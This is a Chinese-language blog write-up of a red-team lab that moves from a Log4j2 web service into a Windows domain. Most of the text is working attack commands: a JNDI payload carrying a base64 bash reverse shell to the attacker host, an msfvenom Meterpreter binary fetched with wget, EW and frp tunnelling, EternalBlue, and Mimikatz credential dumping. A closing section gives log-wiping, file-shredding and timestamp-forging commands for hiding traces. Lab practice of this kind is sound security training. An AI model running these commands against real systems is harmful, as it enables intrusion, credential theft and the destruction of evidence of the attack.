Redteam.lab_Writeup

发布时间 2023-11-17 02:59:17作者: gcc_com

Redteam.lab_Writeup

Redteam.lab环境搭建

1、项目地址

2、网络拓扑

image-20231002155220254

3、环境说明

设备 网卡 用户名 密码 备注
kali (攻击机) 192.168.126.134/24 kali kali
Ubuntu_web (门户网站) 192.168.126.152/24(外网) | 10.0.1.6/24 saul Saul123 sudo docker start cc4ddedd1727 (启动docker容器_web网站)
Windows 7 (域个人机) 10.0.1.7/24 | 10.0.0.7/24 hong 密码空 域账户:redteam/root:Red12345
Windows Server 2012 R2 (域控制器) 10.0.0.12/24 Administrator Admin12345

虚拟网络编辑器

image-20231002122258848

image-20231002122312857

Ubuntu

image-20231002122402855

Windows7

image-20231002122433649

Windows Server 2012 R2

image-20231002122501540

4、WP、漏洞复现

5、最初的已知条件

192.168.126.152

6、实现目标

目标:获取 DC 服务器高权限,拿到三个Flag文件。

拿下web_ubuntu上的docker容器

1、nmap主机发现

nmap -sn 192.168.126.0/24
map -p- -T4 192.168.126.152
nmap -p22,38080 -A -O -T4 192.168.126.152

image-20231002155842489

image-20231002155916621

image-20231002160222096

2、log4j2远程代码执行漏洞

①log4j2漏洞验证

访问web服务http://192.168.126.152:38080

image-20231002184216303

通过观察标签页小图标发现,该系统可能存在 SpringBoot 或者 Log4j2 框架漏洞

尝试 Log4j2 漏洞测试 【log4j2远程代码执行漏洞原理与漏洞复现

curl 192.168.126.152:38080/hello -X POST -d 'payload=${jndi:ldap://in44pc.dnslog.cn}'
==> in44pc.dnslog.cn 【证明存在此漏洞】

curl 192.168.126.152:38080/hello -X POST -d 'payload=${jndi:ldap://${sys:java.version}.in44pc.dnslog.cn}'
==> 1.8.0_292.in44pc.dnslog.cn 【打印系统java版本】

image-20231002190002871

②log4j2远程代码执行漏洞复现

方法一:编写恶意文件

方法二: 使用工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

方法三: 使用工具:JNDIExploit-1.2-SNAPSHOT.jar 【下文使用方法三】

①kali开启HTTP(8080)和LDAP(1389)服务
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.126.152

②开启监听
nc -lvvp 9999

③payload制作
bash -i >& /dev/tcp/192.168.126.134/9999>&1	【bash反弹shell(134为kali地址)】
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMzQvOTk5OSAwPiYx	【bash反弹shell经base64加密】
YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMzQvOTk5OSAwPiYx	【+ => 双重url编码 => %252b】

④模拟浏览器访问
curl 192.168.126.152:38080/hello -X POST -d 'payload=${jndi:ldap://192.168.126.134:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMzQvOTk5OSAwPiYx}'

image-20231002220528347

拿下Ubuntu设备

通过经验发觉,该环境估计为docker容器,判断如下:

ls -alh /.dockerenv		# 查看是否存在 .dockerrnv 这个隐藏文件
cat /proc/1/cgroup		# 查看系统进程的cgroup信息

image-20231002222258365

尝试docker逃逸 【docker逃逸总结

1、Docker-RunC漏洞致容器逃逸(CVE-2019-5736)

CVE-2019-5736 是 runC 的 CVE 漏洞编号,runC 最初是作为 Docker 的一部分开发的,后来作为一个单独的开源工具和库被提取出来,在 docker 整个架构的运行过程中,Containerd 向 docker 提供运行容器的 API,二者通过 grpc 进行交互。containerd 最后通过 runc 来实际运行容器。

使用条件:

  • Docker Version < 18.09.2

  • RunC Version <1.0-rc6

  • 攻击者具有容器文件上传权限 & 管理员使用exec访问容器 || 攻击者具有启动容器权限

因版本太高,该漏洞没法使用。

# 靶机查看docker版本 => 发现版本过高,无法使用Docker runC漏洞逃逸
sudo docker version
sudo docker info

image-20231003111503143

image-20231003111402992

2、Docker特权模式逃逸

特权模式 –privileged

使用特权模式启动的容器时,docker 管理员可通过 mount 命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令

fdisk -l
ls -al /dev
cat /proc/self/status |grep Cap

image-20231003121654490

容器未设置privileged特权模式

3、信息泄露逃逸

发现第一个flag

在 root 主目录下找到第一个flag

image-20231003121627397

尝试ssh连接

并且有账号/密码的信息泄露 saul/Saul123 ,尝试ssh连接:

image-20231003121919967

发现存在一个内网网段

进内网

1、内网信息收集

for k in $(seq 1 255);do ping -c 1 10.0.1.$k|grep "ttl"|awk -F "[ :]+" '{print$4}'; done

image-20231114092443906

2、上线MSF木马

msfvenom写Linux的木马

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.126.134 LPORT=6666 -f elf > carmi.elf 
python3 -m http.server 11111

image-20231114001142745

想办法上传到对方服务器并运行

cd /tmp
ls
wget http://192.168.126.134:11111/carmi.elf
chmod 777 carmi.elf
ls -al
./carmi

image-20231114001537811

设置监听并上线

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.126.134
msf6 exploit(multi/handler) > set lport 6666
msf6 exploit(multi/handler) > run


meterpreter > sysinfo
Computer     : 192.168.126.152
OS           : Ubuntu 18.04 (Linux 5.4.0-84-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

image-20231114001716217

3、错误的EW隧道代理

上传隧道代理工具

image-20231114084942430

分别运行EW

在攻击机上执行如下(先):
./ew_for_linux64 -s rcsocks -l 1080 -e 1234

在服务器上上传ew_for_linux64,并执行如下命令(后):
./ew_for_linux64 -s rssocks -d 172.30.7.181 -e 1234

image-20231114085741294

image-20231114085725679

修改/etc/proxychains.conf文件

image-20231114090743306

msf上代理

meterpreter > run autoroute -s 10.0.1.0/24
meterpreter > run autoroute -p

自此,次MSF窗口就可以成功代理进内网

image-20231114090804268

4、内网漫游

msf内网端口探测

use auxiliary/scanner/portscan/tcp
set rhosts 10.0.1.7
run

image-20231114094910450

smb服务探测

use auxiliary/scanner/smb/smb_version
set rhosts 10.0.1.7
run

image-20231114095207169

永恒之蓝拿下域内主机

1、EW代理下的MSF

目标主机win7确实存在永恒之蓝漏洞

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.0.1.7

image-20231114095845782

接下来我们继续使用MSF的模块进行漏洞利用,由于目标机器不一定出网,我们选择用正向连接的payload

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 10.0.1.7
run

image-20231114101714275

image-20231114110858741

尝试了好多模块和payload,可是还是不太行。这个像攻击成功,又不像攻击成功的。

我们在这里一直使用的是EW开启的代理。因为之前EW代理也是一样永恒之蓝不成功,这里试着想换一种,看看强大的frp代理是否可行。

tips:虽然我们已经建立了路由,但并没有在msf中设置全局代理,所以是无法攻击成功的。

setg Proxies socks5:192.168.1.6:1080 #设置全局代理

set ReverseAllowProxy true #这个参数是因为使用全局代理,可能会导致我们的shell无法反弹,所以需要开启。

2、frp代理下的MSF

【frps.ini】

image-20231114121139988

[common]
bind_addr = 0.0.0.0        # 设置监听的ip ,一般是你的外网ip,0.0.0.0表示都监听
bind_port = 8000           # 监听的端口,等待客户端连接 
dashboard_addr = 0.0.0.0   # frp网站服务器的ip,可以访问登录
dashboard_port = 7600       # frp网站服务器的端口,可以访问登录
dashboard_user = root       # frp网站服务账号
dashboard_pwd  = 123456    # frp网站服务密码
token = 1q2w3e             # 客户端的连接密码
heartbeat_timeout = 90     # 连接超时的时间
max_pool_count = 5		   # 允许连接的客户端数量


[common]
bind_addr = 0.0.0.0
bind_port = 8000
dashboard_addr = 0.0.0.0
dashboard_port = 7600
dashboard_user = root
dashboard_pwd  = 123456
token = 1q2w3e
heartbeat_timeout = 90
max_pool_count = 5

【frpc.ini】

image-20231114123101042

[common]
tls_enable = true
server_addr = 192.168.126.134         # vps 服务器地址 
server_port = 8000          # vps服务器监听地址
token = 1q2w3e              # 设置的密码 ,设置完流量加密,不好解。      
pool_count = 5            # 将提前建立连接,默认值为 0
protocol = tcp              # 通信方式
health_check_type = tcp    # frpc 将连接本地服务的端口以检测其健康状态
health_check_interval_s = 100   # 健康检查时间间隔
[proxies]
remote_port = 6000  # 把流量转发到vps那个端口 ,这个是重点等下会用到
plugin = socks5        #plugin 表示为插件 
use_encryption = true   
use_compression = true


[common]
tls_enable = true
server_addr = 192.168.126.134
server_port = 8000
token = 1q2w3e
pool_count = 5
protocol = tcp
health_check_type = tcp
health_check_interval_s = 100
[proxies]
remote_port = 6000
plugin = socks5
use_encryption = true   
use_compression = true

image-20231114123116221

3、auxiliary走frp的嗅探

use auxiliary/scanner/smb/smb_ms17_010
setg Proxies socks5:127.0.0.1:6000
set rhosts 10.0.1.7
run

image-20231114125311315

4、走frp的永恒之蓝攻击

use exploit/windows/smb/ms17_010_eternalblue
setg Proxies socks5:127.0.0.1:6000
set rhosts 10.0.1.7
set payload windows/x64/meterpreter/bind_tcp
run

image-20231114125435494

image-20231114125621015

域内主机信息收集

1、探测内网网段

image-20231114203849562

2、加载Mimikatz抓取明文密码

load mimikatz
creds_all 	# 执行命令后可以获得高权限

image-20231114204346090

3、拿上域内主机上的flag

查看下root用户目录是否有flag

for /r c:\users\root %i in (flag.txt) do echo %i

image-20231114210205289

image-20231114210314278

4、其余收集

Ladon911.exe没法使用

image-20231114213101582

主机情况

C:\Windows\system32>ipconfig /all
C:\Windows\system32>whoami /user
C:\Windows\system32>net user

image-20231114213432610

image-20231114213708575

收集域控情况

我这边效果不佳,直接拿值出来把。

命令 功能
net view /domain 查看域 REDTEAM
net group "domain admins" /domain 查看域管理员 administrator
net user /domain 查看域用户 Administrator、root
net group "domain controllers" /domain 查看域控 DC
C:\Windows\system32>net user /domain
C:\Windows\system32>net group "domain admins" /domain
C:\Windows\system32>net group "domain controllers" /domain
C:\Windows\system32>net view /domain
C:\Windows\system32>ping DC

image-20231114213943958

拿下域控

考虑两个域内核武器漏洞:CVE-2021-42287、CVE-2021-42278

1、设置代理

在使用代理之前,我们需要先添加路由,让MSF能到达目标机器内网。因为这里socks模块只是将代理设置为监听的端口(默认是1080),即通过proxychains的流量都转给本地的1080端口,又因为这是MSF起的监听端口,所以通过代理走的流量也都能到达内网。

先配置代理,利用MSF添加了一个socks(2080):

image-20231114215139228

image-20231114215413217

image-20231114215643439

2、进行攻击

但是我的这些方法都失败了,看报错消息好像是我的靶机打了补丁!!!

image-20231114223111218

image-20231114224453287

image-20231114223656700

3、直接看效果

复制别人的效果图了

image-20231114224613447

4、拿到最终的flag

image-20231114224705696

痕迹清理

由于目前经验有限,该部分直接学习MS08067的

1、Windows

日志清理主要分为全量清理和定向清理,全量清理可以提升被溯源反制的难度,但其动作较大容易被发现;定向清理相对比较隐蔽,可以增加溯源反制的时间和成本,但可能清理不到位,增加被溯源反制的风险。实战中,两者可以结合使用。值得注意的是,日志清理也是系统事件所以也会被记录。不管怎样,并不存在完美的痕迹清理。

1.1windows主机三大核心日志清理

# 全量清理
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"

image-20231114225534084

image-20231114225642168

1.2防火墙日志清理

cd logfiles/firewall
del xxx.log

image-20231114225738904

1.3服务器日志清理

默认情况,在 %systemroot%\system32\logfles\ 下有FTP、IIS服务器等日志。

FTP日志默认位置: %systemroot%\system32\logfiles\msftpsvc1\

WWW日志默认位置: %sys temroot%\sys tem32\logfiles\w3svc1\

Scheduler服务日志默认位置: %systemroot%\schedlgu.txt

DNS日志默认位置: %systemroot%\system32\config

如果发现这些日志被重定位,通过注册表 HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog 下很多的子表,查到一些日志的定位目录。

1.4远程连接日志清理

# 进入Default.rdp所在路径
cd %userprofile%\documents\
# 使用attrib去掉Default.rdp文件的,系统文件属性(S);隐藏文件属性(H)
attrib Default.rdp -s -h
# 删除
del Default.rdp

1.5近期访问记录清理

# 用户最近访问过的文件和网页记录
C:\Users\root\AppData\Local\Microsoft\Windows\History
# 近期访问过的文件
C:\Users\root\Recent

1.6安全删除文件

利用cipher覆写文件

cipher /w:X 	# 其中X指盘符或文件具体位置
cipher /w:c:\users\root\desktop\flag.txt

1.7安全隐藏文件

Powershell 修改文件时间戳:

Function edit_time($path){$date1 =Get-ChildItem |
Select LastWriteTime|Get-Random;$date2 =Get-ChildItem |
Select LastWriteTime|Get-Random;$date3 =Get-ChildItem |
Select LastWriteTime|Get-Random;$(Get-Item
$path).lastaccesstime=$date1.LastWriteTime;
$(Get-Item $path).creationtime=$date2.LastWriteTime ;
$(Get-Item $path).lastwritetime=$date3.LastWriteTime};
edit_time("C:\Users\root\desktop\flag.txt")

2、Linux

隐藏远程ssh登录记录:ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

当前shell终止history记录:set +o history 、 kill -9 $$

隐藏文件修改时间:touch -r A B (修改系统时间后执行效果更好)

2.1清理历史记录

history -c

2.2清理日志文件

# 全量清理
echo > /var/log/btmp
echo > /var/log/lastlog
cat /dev/null > /var/log/secure
cat /dev/null > /var/log/message
# 部分清理
sed -i '/你的IP/'d filename
# 部分替换
sed -i 's/1.1.1.1/2.2.2.2/g' /var/log/nginx/access.log
# 例如
ls -al /var/log/lastlog && echo > /var/log/lastlog && ls -al /var/log/lastlog

image-20231114230111963

文件 描述
/var/log/btmp 记录所有登录失败信息,使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,使用lastlog命令查看
/var/log/wtmp 记录所有用户的登录、注销信息,使用last命令查看
/var/log/utmp 记录当前已经登录的用户信息,使用w,who,users等命令查看
/var/log/secure 记录与安全相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志

2.3安全删除文件

使用shred覆写一些渗透留下的文件:

shred -f -u -z -v -n 6 ew_for_linux64

image-20231114230414606